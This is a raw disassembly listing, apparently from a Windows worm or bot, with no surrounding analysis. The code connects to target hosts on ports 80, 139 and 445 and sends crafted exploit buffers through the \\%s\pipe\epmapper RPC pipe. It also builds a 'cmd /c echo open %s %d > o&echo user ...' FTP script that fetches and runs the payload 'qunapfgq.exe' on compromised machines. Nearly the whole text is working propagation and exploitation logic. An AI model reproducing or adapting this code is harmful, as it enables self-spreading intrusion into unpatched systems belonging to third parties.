mov ecx, [ebp-18h]
mov eax, offset dword_427688
cmp ecx, ebx
jnz short loc_40D53A
mov ecx, eax
loc_40D53A: ; CODE XREF: sub_40D4E2+54j
cmp [ebp+18h], ebx
jz short loc_40D542
mov eax, [ebp+18h]
loc_40D542: ; CODE XREF: sub_40D4E2+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41C360
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CBA24 ; send
cmp eax, esi
jz short loc_40D567
xor bl, bl
jmp short loc_40D569
; ---------------------------------------------------------------------------
loc_40D567: ; CODE XREF: sub_40D4E2+7Fj
mov bl, 1
loc_40D569: ; CODE XREF: sub_40D4E2+83j
push edi
call sub_41BA91
pop ecx
loc_40D570: ; CODE XREF: sub_40D4E2+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D977
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D977
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D4E2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset dword_432300
push eax
call sub_41CD20
add esp, 0Ch
mov eax, offset aQunapfgq_exe ; "qunapfgq.exe"
push eax
push eax
movzx eax, word ptr dword_4CB710
push eax
push dword ptr [ebp+8]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41C360
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset aSvwfbA ; "SVWfì€"
push eax
call sub_40CD9E
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D63B
xor eax, eax
jmp loc_40D767
; ---------------------------------------------------------------------------
loc_40D63B: ; CODE XREF: .text:0040D632j
mov [ebp-0Ch], esi
loc_40D63E: ; CODE XREF: .text:0040D73Ej
test esi, esi
jnz loc_40D744
push 6
push 1
push 2
call ds:dword_427204 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D72C
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CB9D4 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_40D721
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D6E9
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D977
lea eax, [ebp+0Ch]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D9B3
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D4E2
add esp, 1Ch
jmp short loc_40D71E
; ---------------------------------------------------------------------------
loc_40D6E9: ; CODE XREF: .text:0040D6A7j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D703
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D2A2
jmp short loc_40D71B
; ---------------------------------------------------------------------------
loc_40D703: ; CODE XREF: .text:0040D6F3j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D721
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D1C8
loc_40D71B: ; CODE XREF: .text:0040D701j
add esp, 0Ch
loc_40D71E: ; CODE XREF: .text:0040D6E7j
movzx esi, al
loc_40D721: ; CODE XREF: .text:0040D69Aj
; .text:0040D70Dj
push ebx
call dword_4CBA6C ; closesocket
test esi, esi
jnz short loc_40D737
loc_40D72C: ; CODE XREF: .text:0040D657j
push 3E8h
call ds:dword_427080 ; Sleep
loc_40D737: ; CODE XREF: .text:0040D72Aj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D63E
loc_40D744: ; CODE XREF: .text:0040D640j
lea ecx, [ebp-8]
call sub_40CBC3
test esi, esi
jz short loc_40D765
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40D765: ; CODE XREF: .text:0040D74Ej
mov eax, esi
loc_40D767: ; CODE XREF: .text:0040D636j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426A88
loc_40D76C: ; CODE XREF: sub_426A88+3j
; .text:00426AA1j ...
push 1
call sub_40D977
retn
; END OF FUNCTION CHUNK FOR sub_426A88
; =============== S U B R O U T I N E =======================================
sub_40D774 proc near ; CODE XREF: sub_40D340+110p
; sub_40D340+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, ds:dword_427678
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D78E
call sub_42629A
loc_40D78E: ; CODE XREF: sub_40D774+13j
test ebx, ebx
jbe short loc_40D7C5
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D7C5
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41BF70
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D7C5: ; CODE XREF: sub_40D774+1Cj
; sub_40D774+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D774 endp
; =============== S U B R O U T I N E =======================================
sub_40D7CD proc near ; CODE XREF: sub_40D340+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, ds:dword_427678
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D7E7
call sub_42629A
loc_40D7E7: ; CODE XREF: sub_40D7CD+13j
test ebx, ebx
jbe short loc_40D81C
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D81C
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj
; sub_40D7CD+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D7CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp
; sub_4261B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D83C
call sub_426173
loc_40D83C: ; CODE XREF: sub_40D824+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D84E
mov esi, [ebp+arg_8]
loc_40D84E: ; CODE XREF: sub_40D824+25j
cmp edi, ebx
jnz short loc_40D870
push ds:dword_427678
add esi, ecx
mov ecx, edi
push esi
call sub_40D9E8
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D9E8
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D870: ; CODE XREF: sub_40D824+2Cj
test esi, esi
jbe short loc_40D8B3
cmp esi, eax
jnz short loc_40D8B3
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D884
mov eax, offset dword_427688
loc_40D884: ; CODE XREF: sub_40D824+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D8B3
push 1
mov ecx, edi
call sub_40D977
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D89F
mov eax, offset dword_427688
loc_40D89F: ; CODE XREF: sub_40D824+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D8B3: ; CODE XREF: sub_40D824+4Ej
; sub_40D824+52j ...
push 1
push esi
mov ecx, edi
call sub_40D8F2
test al, al
jz short loc_40D8E9
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D8CD
mov eax, offset dword_427688
loc_40D8CD: ; CODE XREF: sub_40D824+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41CD20
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D8E9: ; CODE XREF: sub_40D824+4Aj
; sub_40D824+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D824 endp
; =============== S U B R O U T I N E =======================================
sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp
; sub_40D774+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D904
call sub_42629A
loc_40D904: ; CODE XREF: sub_40D8F2+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D92D
mov al, [ecx-1]
cmp al, dl
jz short loc_40D92D
cmp al, 0FFh
jz short loc_40D92D
cmp edi, edx
jnz short loc_40D968
dec al
push edx
mov [ecx-1], al
loc_40D922: ; CODE XREF: sub_40D8F2+47j
mov ecx, esi
call sub_40D977
loc_40D929: ; CODE XREF: sub_40D8F2+4Bj
; sub_40D8F2+52j
xor al, al
jmp short loc_40D972
; ---------------------------------------------------------------------------
loc_40D92D: ; CODE XREF: sub_40D8F2+19j
; sub_40D8F2+20j ...
cmp edi, edx
jnz short loc_40D946
cmp [esp+8+arg_4], dl
jz short loc_40D93B
push 1
jmp short loc_40D922
; ---------------------------------------------------------------------------
loc_40D93B: ; CODE XREF: sub_40D8F2+43j
cmp ecx, edx
jz short loc_40D929
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D929
; ---------------------------------------------------------------------------
loc_40D946: ; CODE XREF: sub_40D8F2+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D963
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D958
cmp eax, edi
jnb short loc_40D970
loc_40D958: ; CODE XREF: sub_40D8F2+60j
push 1
mov ecx, esi
call sub_40D977
jmp short loc_40D968
; ---------------------------------------------------------------------------
loc_40D963: ; CODE XREF: sub_40D8F2+58j
cmp [esi+0Ch], edi
jnb short loc_40D970
loc_40D968: ; CODE XREF: sub_40D8F2+28j
; sub_40D8F2+6Fj
push edi
mov ecx, esi
call sub_40DA4F
loc_40D970: ; CODE XREF: sub_40D8F2+64j
; sub_40D8F2+74j
mov al, 1
loc_40D972: ; CODE XREF: sub_40D8F2+39j
pop edi
pop esi
retn 8
sub_40D8F2 endp
; =============== S U B R O U T I N E =======================================
sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp
; sub_40D340+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D9A3
mov eax, [esi+4]
test eax, eax
jz short loc_40D9A3
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D99C
cmp al, 0FFh
jz short loc_40D99C
dec al
mov [ecx], al
jmp short loc_40D9A3
; ---------------------------------------------------------------------------
loc_40D99C: ; CODE XREF: sub_40D977+19j
; sub_40D977+1Dj
push ecx
call sub_41D65F
pop ecx
loc_40D9A3: ; CODE XREF: sub_40D977+8j
; sub_40D977+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D977 endp
; =============== S U B R O U T I N E =======================================
sub_40D9B3 proc near ; CODE XREF: .text:0040D6D3p
; sub_40DB0C+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D8F2
test al, al
jz short loc_40D9E1
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D9E1: ; CODE XREF: sub_40D9B3+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p
; sub_40D824+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D9FB
call sub_426173
loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj
mov ecx, edi
call sub_40DB0C
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40DA11
mov ebx, eax
loc_40DA11: ; CODE XREF: sub_40D9E8+25j
test ebx, ebx
jbe short loc_40DA47
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41D670
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D8F2
test al, al
jz short loc_40DA47
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj
; sub_40D9E8+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D9E8 endp
; =============== S U B R O U T I N E =======================================
sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p
mov eax, offset loc_426AD0
call sub_41D640
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40DA75
mov edi, [ebp+8]
loc_40DA75: ; CODE XREF: sub_40DA4F+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40DA82
xor eax, eax
loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj
push eax
call sub_41D9A5
pop ecx
mov [ebp+8], eax
jmp short loc_40DAB3
; ---------------------------------------------------------------------------
loc_40DA8E: ; DATA XREF: .rdata:00427F84o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40DA9D
xor eax, eax
loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj
push eax
call sub_41D9A5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40DAAD
retn
; ---------------------------------------------------------------------------
loc_40DAAD: ; DATA XREF: sub_40DA4F+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40DAD1
cmp eax, edi
jbe short loc_40DAC0
mov eax, edi
loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41CD20
add esp, 0Ch
loc_40DAD1: ; CODE XREF: sub_40DA4F+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D977
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40DAF1
mov edi, ebx
loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40DA4F endp
; =============== S U B R O U T I N E =======================================
sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40DB39
mov al, [esi-1]
test al, al
jz short loc_40DB39
cmp al, 0FFh
jz short loc_40DB39
push 1
call sub_40D977
push esi
call sub_41B9C0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D9B3
loc_40DB39: ; CODE XREF: sub_40DB0C+9j
; sub_40DB0C+10j ...
pop edi
pop esi
retn
sub_40DB0C endp
; =============== S U B R O U T I N E =======================================
sub_40DB3C proc near ; DATA XREF: .data:00429008o
test byte_4DC018, 1
jnz short loc_40DB4C
or byte_4DC018, 1
loc_40DB4C: ; CODE XREF: sub_40DB3C+7j
jmp $+5
push offset nullsub_1
call sub_41DA20
pop ecx
retn
sub_40DB3C endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB5E proc near ; CODE XREF: .text:0040DF74p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_432940 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43DB88
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call ds:dword_4270E8 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_4CE6F4
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_4CBA74
cmp eax, 5
mov ebx, 4C3h
jz short loc_40DC22
cmp eax, ebx
jnz short loc_40DC2C
loc_40DC22: ; CODE XREF: sub_40DB5E+BEj
push edi
push edi
push edi
push esi
call dword_4CBA74
loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j
cmp eax, 5
jz short loc_40DC3A
cmp eax, ebx
jz short loc_40DC3A
push 1
pop eax
jmp short loc_40DC3C
; ---------------------------------------------------------------------------
loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j
; sub_40DB5E+D5j
xor eax, eax
loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_40DB5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC41 proc near ; CODE XREF: .text:0040DFC6p
; .text:0040E0A6p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_432940 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43DB88
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call ds:dword_4270E8 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
add esp, 10h
loc_40DCD2: ; CODE XREF: sub_40DC41+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_4CB90C
test eax, eax
jz short loc_40DCF2
push 7D0h
call ds:dword_427080 ; Sleep
jmp short loc_40DCD2
; ---------------------------------------------------------------------------
loc_40DCF2: ; CODE XREF: sub_40DC41+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_40DC41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCF9 proc near ; CODE XREF: .text:0040DFF5p
; .text:0040E133p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_41C500
push esi
push edi
push offset aQunapfgq_exe ; "qunapfgq.exe"
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_40B22B
mov edi, eax
add esp, 10h
test edi, edi
jz loc_40DF48
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_41CD20
add esp, 24h
lea esi, [edi+0D7h]
loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_40DDCE
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_41CD20
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_40DD7E
; ---------------------------------------------------------------------------
loc_40DDCE: ; CODE XREF: sub_40DCF9+90j
cmp [ebp+arg_C4], 0
jz short loc_40DDE9
cmp [ebp+arg_C0], 3
jz short loc_40DDF2
cmp [ebp+arg_C0], 0
jmp short loc_40DDF0
; ---------------------------------------------------------------------------
loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj
cmp [ebp+arg_C0], 3
loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj
jnz short loc_40DDFB
loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j
push 4
push offset dword_43293C
jmp short loc_40DE02
; ---------------------------------------------------------------------------
loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j
push 4
push offset dword_432938
loc_40DE02: ; CODE XREF: sub_40DCF9+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_432470
push eax
call sub_41CD20
push 10h
lea eax, [ebp+var_CA4]
push offset dword_4327D4
push eax
call sub_41CD20
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_41CD20
lea edi, [esi+370h]
push 3Ch
push offset off_4327E8
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
add edi, 3Ch
push 30h
push offset dword_432828
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_41BEB5
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_41BF70
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_41CD20
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej
pop edi
pop esi
leave
retn
sub_40DCF9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1338h
call sub_41C500
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40E0BA
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40DB5E
pop ecx
test eax, eax
pop ecx
jz loc_40E1CA
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-338h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp-338h]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call ds:dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DFD1
loc_40DFC2: ; CODE XREF: .text:0040E072j
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
pop ecx
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40DFD1: ; CODE XREF: .text:0040DFC0j
lea eax, [ebp+0Ch]
push 2
push eax
call sub_4182CD
pop ecx
lea esi, [ebp+8]
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40E069
mov edi, 186A0h
push edi
call sub_41BEB5
mov esi, eax
push edi
push ebx
push esi
call sub_41BF70
add esp, 10h
lea eax, [ebp-0Ch]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_432424
push dword ptr [ebp-4]
call ds:dword_4270F4 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_40E059
lea eax, [ebp-14h]
push ebx
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call ds:dword_4270F0 ; WriteFile
test eax, eax
jnz short loc_40E077
loc_40E059: ; CODE XREF: .text:0040E03Fj
push esi
call sub_41BA91
push dword ptr [ebp-8]
call sub_41BA91
pop ecx
pop ecx
loc_40E069: ; CODE XREF: .text:0040E005j
push dword ptr [ebp-4]
call ds:dword_427070 ; CloseHandle
jmp loc_40DFC2
; ---------------------------------------------------------------------------
loc_40E077: ; CODE XREF: .text:0040E057j
lea eax, [ebp-0Ch]
push ebx
push eax
push edi
push esi
push dword ptr [ebp-4]
call ds:dword_4270EC ; ReadFile
push dword ptr [ebp-8]
mov edi, eax
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_427070 ; CloseHandle
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
cmp edi, 1
pop ecx
jnz loc_40E1DE
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40E0BA: ; CODE XREF: .text:0040DF66j
lea eax, [ebp+0Ch]
push 1
push eax
call sub_4182CD
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40E1CA
xor ebx, ebx
push ebx
push 1
push 2
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40E1CA
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-24h], 2
push dword ptr [ebp+0A8h]
call dword_4CB9D4 ; htons
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp-20h], eax
push ebx
lea eax, [ebp-0Ch]
push esi
push eax
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
